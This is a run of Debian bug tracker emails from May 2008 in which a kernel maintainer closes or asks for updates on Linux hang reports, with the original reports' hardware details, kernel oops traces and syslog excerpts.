Your message dated Tue, 20 May 2008 16:15:37 +0200 with message-id [EMAIL PROTECTED] and subject line Re: Boot hangs on SATA harddrive has caused the Debian Bug report #357448, regarding Boot hangs on SATA harddrive to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 357448: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=357448 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.15-1-686-smp Version: 2.6.15-8 I'm using Debian testing on a Dell Optiplex GX280 desktop machine with standard Debian kernel package of linux-image-2.6.12-1-686-smp. This computer has a SATA hard drive which is handled by the kernel perfectly. I've installed linux-image-2.6.15-1-686-smp. The installation went fine installing all the dependencies as well. The boot process with this kernel is running smoothly up to the point when after loading modules from the initial ramdisk the hard drive should be accessed. This is a point when the process hangs. I suspect the problem is related to loading the SATA modules. The problem has been recognized by others as well, but I could not find it in the list of reported bugs: http://lists.debian.org/debian-kernel/2006/01/msg00716.html The SATA relevant part of lspci -vvv: :00:1f.2 IDE interface: Intel Corp. 82801FB/FW (ICH6/ICH6W) SATA Controller (rev 03) (prog-if 8f [Master SecP SecO PriP PriO]) Subsystem: Dell: Unknown device 0179 Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium TAbort- TAbort- MAbort- SERR- PERR- Latency: 0 Interrupt: pin C routed to IRQ 217 Region 0: I/O ports at fe00 [size=8] Region 1: I/O ports at fe10 [size=4] Region 2: I/O ports at fe20 [size=8] Region 3: I/O ports at fe30 [size=4] Region 4: I/O ports at fea0 [size=16] Capabilities: [70] Power Management version 2 Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot+,D3cold-) Status: D0 PME-Enable- DSel=0 DScale=0 PME- Regards, Tibor Radvanyi ---End Message--- ---BeginMessage--- Version: 2.6.18-1 I've installed linux-image-2.6.15-1-686-smp. The installation went fine installing all the dependencies as well. The boot process with this kernel is running smoothly up to the point when after loading modules from the initial ramdisk the hard drive should be accessed. This is a point when the process hangs. I suspect the problem is related to loading the SATA modules. sata support improved considerably since, thus closing. no dup report, no followup since. -- maks ---End Message---
Bug#402940: marked as done (linux-image-2.6.18-3-686: Thinkpad T41 hangs when suspending)
Your message dated Tue, 20 May 2008 16:20:21 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-image-2.6.18-3-686: Thinkpad T41 hangs when suspending has caused the Debian Bug report #402940, regarding linux-image-2.6.18-3-686: Thinkpad T41 hangs when suspending to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 402940: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=402940 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.18-3-686 Version: 2.6.18-8 Severity: normal Steps to reproduce: - Start up IBM Thinkpad T41 with linux-image-2.6.18-3-686 (either version 2.6.18-7, currently in testing, or 2.6.18-8, currently in unstable) - log into Gnome - suspend the laptop with Fn-F4 (suspend to RAM, aka stand-by) - resume - suspend again - system hangs This is reproducible 100% of the time. Expected behavior: laptop suspends without hanging. -- System Information: Debian Release: 4.0 APT prefers testing APT policy: (900, 'testing'), (300, 'unstable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.17-2-686 Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8) Versions of packages linux-image-2.6.18-3-686 depends on: ii coreutils 5.97-5 The GNU core utilities ii debconf [debconf-2.0] 1.5.8 Debian configuration management sy ii initramfs-tools [linux-initra 0.85c tools for generating an initramfs ii module-init-tools 3.3-pre3-1 tools for managing Linux kernel mo Versions of packages linux-image-2.6.18-3-686 recommends: pn libc6-i686none (no description available) -- debconf information: shared/kernel-image/really-run-bootloader: true linux-image-2.6.18-3-686/postinst/bootloader-error-2.6.18-3-686: linux-image-2.6.18-3-686/postinst/old-dir-initrd-link-2.6.18-3-686: true linux-image-2.6.18-3-686/postinst/kimage-is-a-directory: linux-image-2.6.18-3-686/preinst/elilo-initrd-2.6.18-3-686: true linux-image-2.6.18-3-686/postinst/old-system-map-link-2.6.18-3-686: true linux-image-2.6.18-3-686/preinst/lilo-initrd-2.6.18-3-686: true linux-image-2.6.18-3-686/postinst/depmod-error-initrd-2.6.18-3-686: false linux-image-2.6.18-3-686/preinst/bootloader-initrd-2.6.18-3-686: true linux-image-2.6.18-3-686/prerm/removing-running-kernel-2.6.18-3-686: true linux-image-2.6.18-3-686/postinst/create-kimage-link-2.6.18-3-686: true linux-image-2.6.18-3-686/prerm/would-invalidate-boot-loader-2.6.18-3-686: true linux-image-2.6.18-3-686/preinst/abort-install-2.6.18-3-686: linux-image-2.6.18-3-686/preinst/overwriting-modules-2.6.18-3-686: true linux-image-2.6.18-3-686/preinst/initrd-2.6.18-3-686: linux-image-2.6.18-3-686/preinst/lilo-has-ramdisk: linux-image-2.6.18-3-686/preinst/already-running-this-2.6.18-3-686: linux-image-2.6.18-3-686/postinst/bootloader-test-error-2.6.18-3-686: linux-image-2.6.18-3-686/preinst/abort-overwrite-2.6.18-3-686: linux-image-2.6.18-3-686/postinst/old-initrd-link-2.6.18-3-686: true linux-image-2.6.18-3-686/postinst/depmod-error-2.6.18-3-686: false linux-image-2.6.18-3-686/preinst/failed-to-move-modules-2.6.18-3-686: ---End Message--- ---BeginMessage--- Version: 2.6.22-1 fixed upstream thus closing. -- maks ---End Message---
Bug#409249: marked as done (kernel hangs)
Your message dated Tue, 20 May 2008 16:21:27 +0200 with message-id [EMAIL PROTECTED] and subject line Re: kernel hangs has caused the Debian Bug report #409249, regarding kernel hangs to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 409249: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=409249 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.18-3-686 Version: 2.6.18-7 When I'm trying to copy sth from my NOKIA 5200 device via USB, After few seconds I'm getting such a message: [ cut here ] kernel BUG at mm/slab.c:595! invalid opcode: [#1] SMP Modules linked in: rndis_host cdc_ether usbnet cdc_acm nls_iso8859_1 nls_cp437 v fat fat sd_mod usb_storage scsi_mod fglrx ipv6 nvram uinput ppdev lp button ac b attery i8xx_tco dm_snapshot dm_mirror dm_mod speedstep_centrino freq_table cpufr eq_userspace loop pcmcia irtty_sir sir_dev joydev nsc_ircc snd_intel8x0 ipw2200 ieee80211 ieee80211_crypt snd_intel8x0m irda snd_ac97_codec snd_ac97_bus snd_pcm _oss snd_mixer_oss firmware_class yenta_socket rsrc_nonstatic pcmcia_core parpor t_pc crc_ccitt snd_pcm snd_timer parport intel_agp agpgart snd floppy psmouse se rio_raw i2c_i801 i2c_core soundcore snd_page_alloc rtc tsdev evdev pcspkr shpchp pci_hotplug reiserfs ide_cd cdrom ide_disk usbhid piix e1000 generic ide_core e hci_hcd uhci_hcd usbcore thermal processor fan CPU:0 EIP:0060:[c0156ebf]Tainted: P VLI EFLAGS: 00010006 (2.6.18-3-686 #1) EIP is at kfree+0x2e/0x65 eax: 886c ebx: f4c2aac0 ecx: d7c0 edx: c1698480 esi: 0282 edi: f4c24392 ebp: f4c2a800 esp: e1ff1e18 ds: 007b es: 007b ss: 0068 Process modprobe (pid: 5486, ti=e1ff task=e3450aa0 task.ti=e1ff) Stack: f4c2aac0 f900960e f4c2a806 f900901a e376b400 f8ff76a0 d95dea08 ce932800 ff92 dffe1e00 0001 0001 0001 0001 f8ff7660 e376b400 f8ff8520 f8ff8550 c0210844 f886bba9 e376b414 e376b414 Call Trace: [f900901a] usbnet_probe+0x4ee/0x503 [usbnet] [c0210844] __driver_attach+0x0/0x5d [f886bba9] usb_probe_interface+0x58/0x87 [usbcore] [c02107a5] driver_probe_device+0x42/0x8b [c021087c] __driver_attach+0x38/0x5d [c02102c6] bus_for_each_dev+0x33/0x55 [c021070f] driver_attach+0x11/0x13 [c0210844] __driver_attach+0x0/0x5d [c020ffdf] bus_add_driver+0x64/0xfd [f886b9de] usb_register_driver+0x60/0xbb [usbcore] [c01358f5] sys_init_module+0x16c3/0x1846 [f895da8a] journal_end+0xad/0xb2 [reiserfs] [c0102c11] sysenter_past_esp+0x56/0x79 Code: 56 89 c7 53 74 58 9c 5e fa 8d 90 00 00 00 40 c1 ea 0c c1 e2 05 03 15 70 e3 36 c0 8b 02 f6 c4 40 74 03 8b 52 0c 8b 02 84 c0 78 08 0f 0b 53 02 76 af 29 c0 89 e0 8b 4a 18 25 00 e0 ff ff 8b 40 10 EIP: [c0156ebf] kfree+0x2e/0x65 SS:ESP 0068:e1ff1e18 3scsi 0:0:0:0: rejecting I/O to dead device scsi 0:0:0:0: rejecting I/O to dead device ---End Message--- ---BeginMessage--- Version: 2.6.20-1 Now I have rolled my one stock 2.6.20.1 kernel. With this kernel the oopses are gone and the phone is usable. closing as fixed due to newer upstream that propageted to Lenny long ago.. -- maks ---End Message---
Bug#476633: marked as done (linux-image-2.6.24-1-686: USB mouse hangs system)
Your message dated Tue, 20 May 2008 16:28:22 +0200 with message-id [EMAIL PROTECTED] and subject line Re: Bug#476633: linux-image-2.6.24-1-686: USB mouse hangs system has caused the Debian Bug report #476633, regarding linux-image-2.6.24-1-686: USB mouse hangs system to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 476633: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=476633 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.24-1-686 Version: 2.6.24-5 Severity: normal I reported bug 475629 and you wisely told me to replace my hard drive. So, I purchased a new SATA drive and installed the latest Debian image and upgraded to test. I may have installed a few other packages, but not many. After starting GNOME, after some time the USB mouse cursor will freeze. I will still have use of my PS/2 keyboard. But, if I press Ctrl-Alt-F1 to get to console 1 then the display also freezes. I can Ctrl-Alt_Del to force a reboot of the system, but I cannot view anything on the screen when this is happening. Also, if after the mouse freezes, I press Ctrl-Alt-Del, then GNOME brings up a dialog for options to shutdown. If I select the option to shutdown then the toolbars will disappear, but the GNOME background will never go away and I will have to force a reboot from the hardware. I found more information on a very similar bug at http://bugzilla.kernel.org/show_bug.cgi?id=7397. I still have the old hard drive on the system and if I boot up the system on the IDE hard drive at hda3 then the problem does not exists. After reading the above bug I thought this might provide a good opportunity to test to see what are the differences between the 2 systems, since the only difference is when I boot from hda3 I do not mount sda1, but when I boot from sda1 I do mount the old hda3 and hda6 in order to move files to the new system. But the 2 systems are running on the same machine with the same Debian test system (but the hda3 system will have many additional packages which were added over time). Let me know if I can help and if you have any ideas how to fix the problem. When the mouse hangs it does not help to unplug the USB connection and plug it back in. The only way I have found to recover is by rebooting the system. I am willing to test if it would help you out. Bug 475629 will give you the specifications when booting from hda3. The only hardware changes I made when I added the new SATA drive, was to add a modem card and I changed the DVD/CDROM drive. But, I don't believe those changes effected anything as I can still boot into the old system without a problem. In the new system all I have to do is to move the mouse very quickly and it will lock up. If I try that on the old system it does not cause any problems. Thanks for all your hard work! -- Package-specific info: ** Version: Linux version 2.6.24-1-686 (Debian 2.6.24-5) ([EMAIL PROTECTED]) (gcc version 4.1.3 20080308 (prerelease) (Debian 4.1.2-21)) #1 SMP Thu Mar 27 17:45:04 UTC 2008 ** Command line: root=/dev/sda1 ro ** Not tainted ** Kernel log: scsi1 : sata_nv ata1: SATA max UDMA/133 cmd 0x9f0 ctl 0xbf0 bmdma 0xd400 irq 19 ata2: SATA max UDMA/133 cmd 0x970 ctl 0xb70 bmdma 0xd408 irq 19 hda: max request size: 128KiB hda: 60030432 sectors (30735 MB) w/2048KiB Cache, CHS=59554/16/63 hda: cache flushes not supported hda: hda1 hda2 hda3 hda4 hda5 hda6 hdc: ATAPI 48X DVD-ROM DVD-R-RAM CD-R/RW drive, 2048kB Cache Uniform CD-ROM driver Revision: 3.20 ata1: SATA link up 3.0 Gbps (SStatus 123 SControl 300) ata1.00: ATA-8: WDC WD5000AAKS-65YGA0, 12.01C02, max UDMA/133 ata1.00: 976773168 sectors, multi 1: LBA48 NCQ (depth 0/32) ata1.00: configured for UDMA/133 usb 2-3: new low speed USB device using ohci_hcd and address 2 usb 2-3: configuration #1 chosen from 1 choice ata2: SATA link down (SStatus 0 SControl 300) scsi 0:0:0:0: Direct-Access ATA WDC WD5000AAKS-6 12.0 PQ: 0 ANSI: 5 ACPI: PCI Interrupt Link [APSJ] enabled at IRQ 20 ACPI: PCI Interrupt :00:0f.0[A] - Link [APSJ] - GSI 20 (level, low) - IRQ 20 PCI: Setting latency timer of device :00:0f.0 to 64 scsi2 : sata_nv scsi3 : sata_nv ata3: SATA max UDMA/133 cmd 0x9e0 ctl 0xbe0 bmdma 0xe800 irq 20 ata4: SATA max UDMA/133 cmd 0x960 ctl 0xb60 bmdma 0xe808 irq 20 usb 2-6: new low speed USB device using ohci_hcd and address 3 ata3: SATA link down (SStatus 0 SControl 300) usb 2-6: configuration #1 chosen from 1 choice usbcore: registered new interface driver hiddev input: Dell Dell USB Mouse as
Bug#416388: linux-source-2.6.18: Wodim hangs and system may freeze
please give an update on a recent kernel aka = 2.6.25 from unstable installs just fine in testing. thanks -- maks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#447186: marked as done (uhci_hcd unload hangs on suspend)
Your message dated Tue, 20 May 2008 16:32:56 +0200 with message-id [EMAIL PROTECTED] and subject line Re: uhci_hcd unload hangs on suspend has caused the Debian Bug report #447186, regarding uhci_hcd unload hangs on suspend to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 447186: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=447186 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.18-5-686 Version: 2.6.18.dfsg.1-13etch4 Up until this latest version of 2.6.18-5, on my Inspiron 8600 I have been able to right-click on the kpowersave icon in the KDE system tray and select Suspend to Disk. It would very quickly prepare the system to suspend, and then the screen would switch to text mode and count the percentages as it wrote the memory to the hard drive. Now, the preparation hangs when it tries to unload module uhci_hcd. The keyboard and mouse quit responding, and I have to power down. I'm working around this by booting to 2.6.18-4, where it works fine. It also worked on the earlier version of 2.6.18-5, but that was blasted by the update. This is pretty much a standard, non-tricked-out, etch install. I have just a few things from debian-multimedia.org, plus Opera, all installed via dpkg. Everything else is plain etch. ---End Message--- ---BeginMessage--- Version: 2.6.24-1 fixed in newer upstream. Etch gets thanks to etch + half newer 2.6.24 kernels so just try them out. see http://wiki.debian.org/EtchAndAHalf closing -- maks ---End Message---
Bug#466954: marked as done (open-iscsi: Hangs trying to log out of Dell MD3000i)
Your message dated Tue, 20 May 2008 16:31:08 +0200 with message-id [EMAIL PROTECTED] and subject line Re: open-iscsi: Hangs trying to log out of Dell MD3000i has caused the Debian Bug report #466954, regarding open-iscsi: Hangs trying to log out of Dell MD3000i to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 466954: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=466954 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: open-iscsi Version: 2.0.865-1 Severity: normal When I attempt to run /etc/init.d/open-iscsi stop or shut down my machine, I get an infinite hang in iscsiadm. This may be because my Dell MD3000i array provides three disks when I've only configured two, like so: Feb 21 22:18:38 localhost kernel: Loading iSCSI transport class v2.0-724. Feb 21 22:18:38 localhost kernel: iscsi: registered transport (tcp) Feb 21 22:18:38 localhost kernel: iscsi: registered transport (iser) Feb 21 22:18:38 localhost iscsid: iSCSI logger with pid=3508 started! Feb 21 22:18:39 localhost iscsid: transport class version 2.0-724. iscsid version 2.0-865 Feb 21 22:18:39 localhost iscsid: iSCSI daemon with pid=3509 started! Feb 21 22:19:15 localhost kernel: scsi1 : iSCSI Initiator over TCP/IP Feb 21 22:19:15 localhost kernel: scsi 1:0:0:0: Direct-Access DELL MD3000i 0670 PQ: 0 ANSI: 5 Feb 21 22:19:15 localhost kernel: sd 1:0:0:0: [sdc] 4269801472 512-byte hardware sectors (2186138 MB) Feb 21 22:19:15 localhost kernel: sd 1:0:0:0: [sdc] Write Protect is off Feb 21 22:19:15 localhost kernel: sd 1:0:0:0: [sdc] Mode Sense: 77 00 10 08 Feb 21 22:19:15 localhost kernel: sd 1:0:0:0: [sdc] Write cache: enabled, read cache: enabled, supports DPO and FUA Feb 21 22:19:15 localhost kernel: sd 1:0:0:0: [sdc] 4269801472 512-byte hardware sectors (2186138 MB) Feb 21 22:19:15 localhost kernel: sd 1:0:0:0: [sdc] Write Protect is off Feb 21 22:19:15 localhost kernel: sd 1:0:0:0: [sdc] Mode Sense: 77 00 10 08 Feb 21 22:19:15 localhost kernel: sd 1:0:0:0: [sdc] Write cache: enabled, read cache: enabled, supports DPO and FUA Feb 21 22:19:15 localhost kernel: sdc: unknown partition table Feb 21 22:19:15 localhost kernel: sd 1:0:0:0: [sdc] Attached SCSI disk Feb 21 22:19:15 localhost kernel: scsi 1:0:0:1: Direct-Access DELL MD3000i 0670 PQ: 0 ANSI: 5 Feb 21 22:19:15 localhost kernel: sd 1:0:0:1: [sdd] 1586597888 512-byte hardware sectors (812338 MB) Feb 21 22:19:15 localhost kernel: sd 1:0:0:1: [sdd] Write Protect is off Feb 21 22:19:15 localhost kernel: sd 1:0:0:1: [sdd] Mode Sense: 77 00 10 08 Feb 21 22:19:15 localhost kernel: sd 1:0:0:1: [sdd] Write cache: enabled, read cache: enabled, supports DPO and FUA Feb 21 22:19:15 localhost kernel: sd 1:0:0:1: [sdd] 1586597888 512-byte hardware sectors (812338 MB) Feb 21 22:19:15 localhost kernel: sd 1:0:0:1: [sdd] Write Protect is off Feb 21 22:19:15 localhost kernel: sd 1:0:0:1: [sdd] Mode Sense: 77 00 10 08 Feb 21 22:19:15 localhost kernel: sd 1:0:0:1: [sdd] Write cache: enabled, read cache: enabled, supports DPO and FUA Feb 21 22:19:15 localhost kernel: sdd: unknown partition table Feb 21 22:19:15 localhost kernel: sd 1:0:0:1: [sdd] Attached SCSI disk Feb 21 22:19:15 localhost kernel: scsi 1:0:0:31: Direct-Access DELL Universal Xport 0670 PQ: 0 ANSI: 5 Feb 21 22:19:15 localhost kernel: sd 1:0:0:31: [sde] 40960 512-byte hardware sectors (21 MB) Feb 21 22:19:15 localhost kernel: sd 1:0:0:31: [sde] Write Protect is off Feb 21 22:19:15 localhost kernel: sd 1:0:0:31: [sde] Mode Sense: 77 00 10 08 Feb 21 22:19:15 localhost kernel: sd 1:0:0:31: [sde] Write cache: disabled, read cache: enabled, supports DPO and FUA Feb 21 22:19:15 localhost kernel: sd 1:0:0:31: [sde] 40960 512-byte hardware sectors (21 MB) Feb 21 22:19:15 localhost kernel: sd 1:0:0:31: [sde] Write Protect is off Feb 21 22:19:15 localhost kernel: sd 1:0:0:31: [sde] Mode Sense: 77 00 10 08 Feb 21 22:19:15 localhost kernel: sd 1:0:0:31: [sde] Write cache: disabled, read cache: enabled, supports DPO and FUA Feb 21 22:19:15 localhost kernel: sde: unknown partition table Feb 21 22:19:15 localhost kernel: sd 1:0:0:31: [sde] Attached SCSI disk Feb 21 22:19:15 localhost iscsid: received iferror -22 Feb 21 22:19:15 localhost last message repeated 2 times Feb 21 22:19:15 localhost iscsid: connection1:0 is operational now Feb 21 22:19:16 localhost kernel: end_request: I/O error, dev sde, sector 48 Feb 21 22:19:16 localhost kernel: Buffer I/O error on device sde, logical block 6 Feb 21 22:19:16 localhost kernel: Buffer I/O error on device sde, logical block 7
Bug#445463: marked as done (linux-image-2.6.18-5-686: system hangs after a few days: pdflush in D state, JFS?)
Your message dated Tue, 20 May 2008 16:29:50 +0200 with message-id [EMAIL PROTECTED] and subject line Re: linux-image-2.6.18-5-686: system hangs after a few days: pdflush in D state, JFS? has caused the Debian Bug report #445463, regarding linux-image-2.6.18-5-686: system hangs after a few days: pdflush in D state, JFS? to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 445463: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=445463 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.18-5-686 Version: 2.6.18.dfsg.1-13etch2 Severity: normal My system keeps hanging every week or so. If I manage to catch it before hanging, I notice that the kernel thread pdflush is in D state and likewise some other processes. Below is a trace I got from alt-sysrq-t . I'm still not sure how to relibely reproduce this one. [524136.896039] openvpn D 0001DC9A 0 2981 1 3056 2965 (NOTLB) [524136.896279]dc4cbd54 00200046 5082964b 0001dc9a d9575a98 000a d97d0ab0 c02dc720 [524136.896581]5086a373 0001dc9a 00040d28 d97d0bc0 c1687a60 dc4cbd48 00200046 [524136.896916] 0002 0001 00ff dc4cbd60 d9575a64 [524136.897250] Call Trace: [524136.897326] [c02912aa] __mutex_lock_slowpath+0x110/0x1f6 [524136.897402] [c02913ac] mutex_lock+0x1c/0x1f [524136.897478] [e09da730] lmLog+0x1c/0x162 [jfs] [524136.897560] [e09dc391] txCommit+0x9ed/0xe84 [jfs] [524136.897641] [e09c31d2] jfs_truncate_nolock+0xd5/0x107 [jfs] [524136.897725] [e09c368c] jfs_truncate+0x32/0x3e [jfs] [524136.897806] [c0152eb2] vmtruncate+0xd1/0xf3 [524136.897880] [c0177503] inode_setattr+0x5e/0x149 [524136.897956] [e09dfeac] jfs_setattr+0x8e/0x196 [jfs] [524136.898038] [c0177725] notify_change+0x137/0x2ce [524136.898113] [c015f1ac] do_truncate+0x53/0x6c [524136.898188] [c015f714] do_sys_ftruncate+0x11b/0x138 [524136.898264] [c015f758] sys_ftruncate+0x12/0x14 [524136.898338] [c0102d61] sysenter_past_esp+0x56/0x8d [524136.982448] firefox-bin D 0001DC9B 0 2322 3642 2331 30489 (NOTLB) [524136.982688]cad0dc94 00200046 64b01ef5 0001dc9b e0a23908 0009 d966a030 c02dc720 [524136.982988]652d7200 0001dc9b 007d530b d966a140 c1687a60 e0a238ec 00200246 [524136.983325]00200246 0001 00200246 00ff cad0dcb8 e0a238ec [524136.983662] Call Trace: [524136.983737] [e09dd4ea] txLock+0x474/0x4a4 [jfs] [524136.983821] [e09cd811] diWrite+0x156/0x48a [jfs] [524136.983905] [e09dbb54] txCommit+0x1b0/0xe84 [jfs] [524136.983987] [e09c4e08] jfs_create+0x232/0x332 [jfs] [524136.984068] [c016c90d] vfs_create+0xca/0x110 [524136.984144] [c016f304] open_namei+0x16a/0x611 [524136.984219] [c015eeb7] do_filp_open+0x1f/0x35 [524136.984293] [c015ef0d] do_sys_open+0x40/0xba [524136.984368] [c015efb3] sys_open+0x16/0x18 [524136.984441] [c0102d61] sysenter_past_esp+0x56/0x8d [524137.025088] pdflush D 0001DC90 0 18279 11 27011 17057 (L-TLB) [524137.025328]dbedfd44 0046 6929197a 0001dc90 d9575a4c 0009 cdd96030 c02dc720 [524137.025627]6931b998 0001dc90 0008a01e cdd96140 c1687a60 0046 0046 [524137.025963]0001 0046 e09e8f20 00ff d9575a00 [524137.026299] Call Trace: [524137.026375] [e09d9002] lbmAllocate+0x76/0x108 [jfs] [524137.026459] [e09d99ac] lmNextPage+0xd0/0x101 [jfs] [524137.026543] [e09d9b11] lmWriteRecord+0x134/0x2ce [jfs] [524137.026625] [e09da83a] lmLog+0x126/0x162 [jfs] [524137.026707] [e09dc391] txCommit+0x9ed/0xe84 [jfs] [524137.026790] [e09c30ba] jfs_commit_inode+0xa4/0xe7 [jfs] [524137.026871] [e09c32f5] jfs_write_inode+0x36/0x45 [jfs] [524137.026955] [c017e3f6] __writeback_single_inode+0x1a7/0x2fd [524137.027032] [c017e8ae] sync_sb_inodes+0x19b/0x265 [524137.027106] [c017eb55] writeback_inodes+0x7f/0xcd [524137.027181] [c014bee5] wb_kupdate+0x7a/0xdc [524137.027258] [c014c3d6] pdflush+0x10f/0x1a5 [524137.027332] [c012f05f] kthread+0xc5/0xf2 [524137.027407] [c0101005] kernel_thread_helper+0x5/0xb [524137.130198] gaim D 0001DC96 0 15930 2726 28049 (NOTLB) [524137.130439]d40c3ce8 0046 4ddb1d97 0001dc96 d9575a98 000a c81beab0 d966a030 [524137.130738]4e0edfdb 0001dc96 0033c244 0001 c81bebc0 c168fa60 d40c3cdc 0046 [524137.131075]0008 0001 d40c3cf4 d9575a64 0246 d40c3cf4 d9575a64 [524137.131408] Call Trace: [524137.131484] [c02912aa] __mutex_lock_slowpath+0x110/0x1f6 [524137.131561]
Bug#464664: linux-image-2.6.24-1-amd64: X86_64 laptop hangs after logging powernow_k8 error while on battery
On Fri, 08 Feb 2008, Jason White wrote: Package: linux-image-2.6.24-1-amd64 Version: 2.6.24-2 Severity: normal My laptop has an AMD Athlon64 processor. With recent kernels (at least 2.6.22 and 2.6.24, possibly earlier), if run on battery, the laptop eventually hangs. The error is as reported in the syslog output below. I am using the powernow-k8 module with the ondemand CPU frequency governor. When connected to AC power, the laptop does not encounter this problem. Feb 7 11:02:11 jpc kernel: ACPI: CPU0 (power states: C1[C1] C2[C2] C3[C3]) Feb 7 11:02:11 jpc kernel: powernow-k8: Found 1 AMD Athlon(tm) 64 Processor 3000+ processors (1 cpu cores) (version 2.20.00) Feb 7 11:02:11 jpc kernel: powernow-k8:0 : fid 0xa (1800 MHz), vid 0x2 Feb 7 11:02:11 jpc kernel: powernow-k8:1 : fid 0x8 (1600 MHz), vid 0x6 Feb 7 11:02:11 jpc kernel: powernow-k8:2 : fid 0x0 (800 MHz), vid 0x12 Feb 7 11:02:25 jpc kernel: powernow-k8: error - out of sync, fix 0xa 0x0, vid 0x2 0x12 sorry for the late reaction. can we have an update for a recent kernel aka 2.6.25 from sid. installs just fine in testing. thanks -- maks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#463487: marked as done (Kernel 2.6.22 hangs at boot (hardware-software prob.))
Your message dated Tue, 20 May 2008 16:34:43 +0200 with message-id [EMAIL PROTECTED] and subject line Re: Kernel 2.6.22 hangs at boot (hardware-software prob.) has caused the Debian Bug report #463487, regarding Kernel 2.6.22 hangs at boot (hardware-software prob.) to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 463487: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=463487 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.22 Version: 2.6.22-3-486 After I installed a used suspect hard-drive which has a bad history, I booted from another drive. It hung just after the line: checking if image is initramfs... it is It hung at the same place when I tried to boot from the suspect drive. It did the same when I removed the suspect hard drive and tried booting from the good drive. But after waiting for about an hour, it booted OK under these same conditions. Before this it booted OK from a floppy and a memory test (couldn't test all of it) showed all OK. Now the suspect hard-drive was removed from my PC about a month ago to fix a problem of the PC (an old Pentium I) shutting down by itself once in a while (every several hours, etc.). This problem started after I replaced the power supply with a better used one. Thus the suspect HD may draw too much current, etc. and cause lower voltages as well as trip the overload protection built into the power supply. However, it's likely not just a hardware problem since others on the Internet have reported a hang at the same place in the boot sequence. See Ubuntu bug #155278. I think it's a race condition that happens if the hardware is somewhat degraded in some way. Also, I've noticed a long pause of a few seconds after this initramfs... message and think that something wrong is going on at this point. David Lawyer ---End Message--- ---BeginMessage--- Version: 2.6.24-1 http://bugzilla.kernel.org/show_bug.cgi?id=9303 references patch that landed in 2.6.24 closing. -- maks ---End Message---
Bug#476715: marked as done (Order detect of Disk scsi and HBA Fiber Channel (qla2xxx))
